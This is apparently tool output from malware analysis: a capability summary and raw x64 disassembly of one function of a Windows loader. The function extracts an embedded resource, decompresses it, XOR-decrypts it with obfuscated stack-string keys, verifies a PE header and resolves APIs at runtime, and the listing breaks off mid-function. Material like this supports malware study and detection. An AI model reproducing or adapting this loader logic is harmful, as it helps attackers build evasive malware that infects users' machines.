Function at 0x1400009b0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Link many functions at runtime
Resume thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x788]
sub rsp, 0x860
mov rax, qword [0x140005c10]
xor rax, rsp
mov qword [rbp + 0x750], rax
xor r12d, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
lea r8, [0x140004058]
mov edx, 0x85
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rsi, rax
test rax, rax
je 0x140000a42
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140000a42
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140000a42
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
jmp 0x140000a48
mov eax, r12d
mov rbx, r12
mov dword [0x140006330], eax
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [0x140006350], rbx
lea r8, [0x140006340]
xor edx, edx
lea ecx, [rdx + 4]
call qword [sym.imp.Cabinet.dll_CreateDecompressor]
test eax, eax
je 0x140000b06
mov r8d, dword [0x140006330]
lea rbx, [0x140006338]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov rdx, qword [0x140006350]
mov rcx, qword [0x140006340]
call qword [sym.imp.Cabinet.dll_Decompress]
test eax, eax
jne 0x140000ad3
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140000b06
mov rcx, qword [0x140006338]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, rax
mov qword [0x140006318], rax
test rax, rax
je 0x140000b06
jmp 0x140000ada
mov r9, qword [0x140006318]
mov r8d, dword [0x140006330]
mov qword [rsp + 0x28], rbx
mov rax, qword [0x140006338]
mov qword [rsp + 0x20], rax
mov rdx, qword [0x140006350]
mov rcx, qword [0x140006340]
call qword [sym.imp.Cabinet.dll_Decompress]
mov dword [rsp + 0x60], 0x34656744
mov dword [rsp + 0x64], 0x2a424868
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
mov ecx, 0xf
mov qword [rbp + 0x218], rcx
lea edi, [rcx - 6]
mov qword [rbp + 0x210], rdi
movsd xmm0, qword [rsp + 0x60]
movsd qword [rbp + 0x200], xmm0
mov word [rbp + 0x208], Decompress
mov dword [rsp + 0x50], 0x2b433837
mov dword [rsp + 0x54], 0x652d4e69
mov byte [rsp + 0x58], 0x4f
xorps xmm0, xmm0
movups xmmword [rbp + 0x258], xmm0
mov qword [rbp + 0x270], rcx
mov qword [rbp + 0x268], rdi
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbp + 0x258], xmm0
mov word [rbp + 0x260], 0x4f
lea r9, [rbp + 0x258]
mov qword [rsp + 0x20], rdi
mov edx, edi
lea rcx, [rbp + 0x200]
call fcn.140002650
lea rdx, [rbp + 0x200]
lea rcx, [rbp]
call fcn.1400021ec
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.140000614
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2d8], r12
mov r8, qword [0x140006338]
mov rdx, qword [0x140006318]
lea rcx, [rbp + 0x2c0]
call fcn.140002434
nop
lea r8, [rbp + 0x2c0]
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x280]
call fcn.1400007cc
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], rax
lea rcx, [rbp + 0x238]
mov rbx, qword [rbp + 0x248]
cmp qword [rbp + 0x250], 0x10
jb 0x140000c50
mov rdi, qword [rbp + 0x238]
add rbx, rdi
jmp 0x140000c5a
add rbx, rcx
lea rdi, [rbp + 0x238]
movdqu xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], r12
mov r13d, 0x1000
sub rbx, rdi
je 0x140000cee
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x14000211b
cmp rbx, r13
jb 0x140000cb5
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140002115
call fcn.140002980
test rax, rax
je 0x140001fb8
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x140000cc0
mov rcx, rbx
call fcn.140002980
mov r15, rax
mov qword [rsp + 0x60], r15
mov qword [rbp + 0x220], r15
lea rsi, [r15 + rbx]
mov qword [rbp + 0x230], rsi
mov r8, rbx
mov rdx, rdi
mov rcx, r15
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x228], rsi
jmp 0x140000cfa
mov r15, qword [rbp + 0x220]
mov qword [rsp + 0x60], r15
movsd xmm0, qword [str.3_e_t_VUVZef7]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x140004068]
mov dword [rbp - 0x38], eax
movzx eax, word [0x14000406c]
mov word [rbp - 0x34], ax
mov al, byte [0x14000406e]
mov byte [rbp - 0x32], al
mov rcx, qword [0x140006338]
call fcn.140002c14
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
lea rax, [rbp - 0x40]
or r14, 0xffffffffffffffff
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x140000d4a
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.140002434
nop
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x280]
call fcn.1400007cc
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140000d85
mov rbx, qword [rax]
mov rsi, qword [0x140006338]
mov rdi, r14
inc rdi
cmp byte [rbx + rdi], r12b
jne 0x140000d8f
lea rcx, [rsi + 1]
call fcn.140002c14
mov r10, rax
mov qword [rsp + 0x50], rax
mov r8, r12
test rsi, rsi
je 0x140000dd4
mov r9, r15
sub r9, rax
lea rcx, [r8 + r10]
xor edx, edx
mov rax, r8
div rdi
mov al, byte [rdx + rbx]
xor al, byte [rcx + r9]
mov byte [rcx], al
inc r8
cmp r8, rsi
jb 0x140000db7
mov byte [r10 + rsi], r12b
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x140000e18
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, r13
jb 0x140000e13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140000e13
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x138], 0xf
mov byte [rbp + 0x120], r12b
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140000e6b
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, r13
jb 0x140000e66
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140000e66
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
movsd xmm0, qword [str.q_7_eNH]
movsd qword [rbp - 0x50], xmm0
movzx eax, word [0x140004078]
mov word [rbp - 0x48], ax
movups xmm0, xmmword [str.Q_tF_0fEPAtXnRqsp_M]
movups xmmword [rbp + 0x38], xmm0
mov eax, dword [0x140004090]
mov dword [rbp + 0x48], eax
movzx eax, word [0x140004094]
mov word [rbp + 0x4c], ax
mov al, byte [0x140004096]
mov byte [rbp + 0x4e], al
movups xmm0, xmmword [str.Q_gF_huG_Jt_1I86v]
movups xmmword [rbp + 0x68], xmm0
mov eax, dword [0x1400040a8]
mov dword [rbp + 0x78], eax
movups xmm0, xmmword [str.Q_0F0fEILwE_ZK2u_]
movups xmmword [rbp + 0x50], xmm0
mov eax, dword [0x1400040c0]
mov dword [rbp + 0x60], eax
mov al, byte [0x1400040c4]
mov byte [rbp + 0x64], al
movups xmm0, xmmword [str.Q_w_:JpPP_Pv4K4r]
movups xmmword [rbp + 0x20], xmm0
movzx eax, word [0x1400040d8]
mov word [rbp + 0x30], ax
mov al, byte [0x1400040da]
mov byte [rbp + 0x32], al
movsd xmm0, qword [str.Q_v__1nG_JgE_]
movsd qword [rbp - 0x30], xmm0
mov eax, dword [0x1400040e8]
mov dword [rbp - 0x28], eax
movzx eax, word [0x1400040ec]
mov word [rbp - 0x24], ax
mov al, byte [0x1400040ee]
mov byte [rbp - 0x22], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
lea rax, [rbp - 0x40]
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x140000f3c
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x70]
call fcn.140002434
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], r12
lea rax, [rbp - 0x50]
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x140000f73
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xa0]
call fcn.140002434
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], r12
lea rax, [rbp - 0x30]
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x140000fac
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xc0]
call fcn.140002434
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], r12
lea rax, [rbp + 0x20]
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x140000fe5
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xe0]
call fcn.140002434
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], r12
lea rax, [rbp + 0x50]
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x14000101e
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x100]
call fcn.140002434
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], r12
lea rax, [rbp + 0x68]
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x140001057
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x80]
call fcn.140002434
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
lea rax, [rbp + 0x38]
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x140001087
lea rdx, [rbp + 0x38]
lea rcx, [rbp - 0x20]
call fcn.140002434
nop
lea r8, [rsp + 0x70]
lea rdx, [rbp]
lea rcx, [rbp + 0x280]
call fcn.1400007cc
mov r12, rax
lea r8, [rbp + 0xa0]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x280]
call fcn.1400007cc
mov r13, rax
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x280]
call fcn.1400007cc
mov r15, rax
lea r8, [rbp + 0xe0]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x280]
call fcn.1400007cc
mov rsi, rax
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x280]
call fcn.1400007cc
mov rdi, rax
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x280]
call fcn.1400007cc
mov rbx, rax
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x280]
call fcn.1400007cc
nop
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140001169
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400027cc
lea rdx, [0x1400023fc]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140001196
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.1400027cc
lea rbx, [0x1400023fc]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x1400011c2
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.1400027cc
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, rsi
mov edi, 0x10
cmp qword [rsi + 0x18], rdi
jb 0x1400011eb
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
mov rcx, rax
call fcn.1400027cc
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, r15
cmp qword [r15 + 0x18], rdi
jb 0x14000120f
mov rdx, qword [r15]
mov r8, qword [r15 + 0x10]
mov rcx, rax
call fcn.1400027cc
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, r13
cmp qword [r13 + 0x18], rdi
jb 0x140001234
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
mov rcx, rax
call fcn.1400027cc
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, r12
cmp qword [r12 + 0x18], rdi
jb 0x14000125a
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
mov rcx, rax
call fcn.1400027cc
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x158]
mov r15d, 0x1000
cmp rdx, rdi
jb 0x1400012b9
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, r15
jb 0x1400012b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400012b4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
xor esi, esi
mov qword [rbp + 0x150], rsi
lea ebx, [rsi + 0xf]
mov qword [rbp + 0x158], rbx
mov byte [rbp + 0x140], sil
mov rdx, qword [rbp + 0x178]
cmp rdx, rdi
jb 0x140001312
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, r15
jb 0x14000130d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000130d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
mov qword [rbp + 0x170], rsi
mov qword [rbp + 0x178], rbx
mov byte [rbp + 0x160], sil
mov rdx, qword [rbp + 0x198]
cmp rdx, rdi
jb 0x140001366
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, r15
jb 0x140001361
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001361
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x198], rbx
mov byte [rbp + 0x180], sil
mov rdx, qword [rbp + 0x1b8]
cmp rdx, rdi
jb 0x1400013ba
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, r15
jb 0x1400013b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013b5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
mov qword [rbp + 0x1b0], rsi
mov qword [rbp + 0x1b8], rbx
mov byte [rbp + 0x1a0], sil
mov rdx, qword [rbp + 0x1d8]
cmp rdx, rdi
jb 0x14000140e
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, r15
jb 0x140001409
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001409
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
mov qword [rbp + 0x1d0], rsi
mov qword [rbp + 0x1d8], rbx
mov byte [rbp + 0x1c0], sil
mov rdx, qword [rbp - 0x58]
cmp rdx, rdi
jb 0x14000145c
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140001457
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001457
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rbx
mov byte [rbp - 0x70], sil
mov rdx, qword [rbp + 0x18]
cmp rdx, rdi
jb 0x1400014a1
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, r15
jb 0x14000149c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000149c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rbx
mov byte [rbp], sil
mov rdx, qword [rbp - 8]
cmp rdx, rdi
jb 0x1400014e7
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, r15
jb 0x1400014e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, rdi
jb 0x140001527
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, r15
jb 0x140001521
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001521
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, rdi
jb 0x140001567
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, r15
jb 0x140001561
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001561
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, rdi
jb 0x1400015a7
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, r15
jb 0x1400015a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, rdi
jb 0x1400015e7
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, r15
jb 0x1400015e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, rdi
jb 0x140001627
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, r15
jb 0x140001621
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001621
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, rdi
jb 0x140001661
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x14000165c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000165c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
mov r12, qword [rsp + 0x50]
movsxd r13, dword [r12 + 0x3c]
add r13, r12
cmp dword [r13], 0x4550
jne 0x140001f81
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], rax
xor edx, edx
lea r8d, [rax + 0x68]
lea rcx, [rbp + 0x2e0]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x350]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
lea rax, [rbp - 0x50]
mov r8, r14
inc r8
cmp byte [rax + r8], sil
jne 0x1400016cd
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x70]
call fcn.140002434
nop
lea r8, [rsp + 0x70]
lea rdx, [rbp]
lea rcx, [rbp + 0x280]
call fcn.1400007cc
cmp qword [rax + 0x18], rdi
jb 0x140001703
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
mov rdx, qword [rbp + 0x18]
cmp rdx, rdi
jb 0x140001748
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, r15
jb 0x140001743
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001743
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], 0xf
mov byte [rbp], sil
mov rdx, qword [rbp - 0x78]
cmp rdx, rdi
jb 0x140001792
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x14000178d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000178d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
lea rax, [rbp + 0x38]
mov r8, r14
inc r8
cmp byte [rax + r8], sil
jne 0x1400017a9
lea rdx, [rbp + 0x38]
lea rcx, [rsp + 0x70]
call fcn.140002434
nop
lea r8, [rsp + 0x70]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x280]
call fcn.1400007cc
cmp qword [rax + 0x18], rdi
jb 0x1400017df
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006348], rax
mov rdx, qword [rbp - 0x58]
cmp rdx, rdi
jb 0x14000182b
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140001826
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001826
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], sil
mov rdx, qword [rbp - 0x78]
cmp rdx, rdi
jb 0x140001875
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140001870
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001870
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
cmp qword [0x140006348], rsi
je 0x140001f7c
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
lea rax, [rbp + 0x68]
mov r8, r14
inc r8
cmp byte [rax + r8], sil
jne 0x140001899
lea rdx, [rbp + 0x68]
lea rcx, [rsp + 0x70]
call fcn.140002434
nop
lea r8, [rsp + 0x70]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x280]
call fcn.1400007cc
cmp qword [rax + 0x18], rdi
jb 0x1400018cf
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006320], rax
mov rdx, qword [rbp - 0x58]
cmp rdx, rdi
jb 0x14000191b
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140001916
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001916
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], sil
mov rdx, qword [rbp - 0x78]
cmp rdx, rdi
jb 0x140001965
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140001960
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001960
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
cmp qword [0x140006320], rsi
je 0x140001f7c
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
lea rax, [rbp + 0x50]
mov r8, r14
inc r8
cmp byte [rax + r8], sil
jne 0x140001989
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140002434
nop
lea r8, [rsp + 0x70]
lea rdx, [rbp - 0x70]
